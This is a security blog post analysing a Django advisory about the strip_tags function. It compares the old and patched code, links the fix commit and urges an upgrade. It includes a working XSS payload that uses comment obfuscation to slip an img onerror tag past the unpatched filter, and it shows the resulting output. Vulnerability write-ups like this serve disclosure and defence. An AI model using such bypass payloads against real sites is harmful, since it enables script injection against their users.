Django strip_tags Bypass Vulnerability & Exploitation

Hi

Today, official django twitter account released a new security advisory for Django framework. 

Security advisory: strip_tags safety

We’ve received a report that the django.utils.html.strip_tags function (and also the related striptags template filter) did not correctly strip some obfuscated tags. This particular issue has been resolved in future releases of Django 1.6 and 1.7. While investigating this issue, we found that the documentation for strip_tags does mention that the result may still contain unsafe HTML content, and its result cannot be considered safe, but that this limitation should be stressed more strongly.

If you are using the strip_tags function or the striptags template filter in your projects, please review your code and ensure that you never mark their output as safe, without escaping it first. Note that if you are using the output of strip_tags in a template, or if you are using the striptags template filter, escaping is the default and safe behaviour, unless you have disabled automatic escaping in your templates.

So i had a look django github account to see which files has been changed in order to fix that issue.

Old strip_tags function

def strip_tags(value):
    """Returns the given HTML with all tags stripped."""
    return strip_tags_re.sub('', force_text(value))
strip_tags = allow_lazy(strip_tags)

New strip_tags function

def strip_tags(value):
    """Returns the given HTML with all tags stripped."""
    while True:
        if not ('<' in value or '>' in value):
            return value
        new_value = _strip_once(value)
        if new_value == value:
            # _strip_once was not able to detect more tags
            return value
        else:
            value = new_value
strip_tags = allow_lazy(strip_tags)

As your can see, whole structure and design of strip_tags has been changed.

Exploitation

Before the exploitation part we should understand that how function is work. To do that, please look at following example.

from django.utils.html import strip_tags as _c

print _c('<script>alert(1)</script>')

#Result
alert(1)

In order to bypass strip_tags function we can use following XSS payload. This payload specialize to bypass strip_tags.

from django.utils.html import strip_tags as _c

print _c("<img<!-- --> src=x onerror=alert(1);//><!-- -->")

#Result
<img src=x onerror=alert(1);//>

 In conclusion

First of all, you must update your django framework. Patch has been commited to repositories of django. See: https://github.com/django/django/commit/d1503afd66ca8f2f8d3819ba8a60727e0ee66cec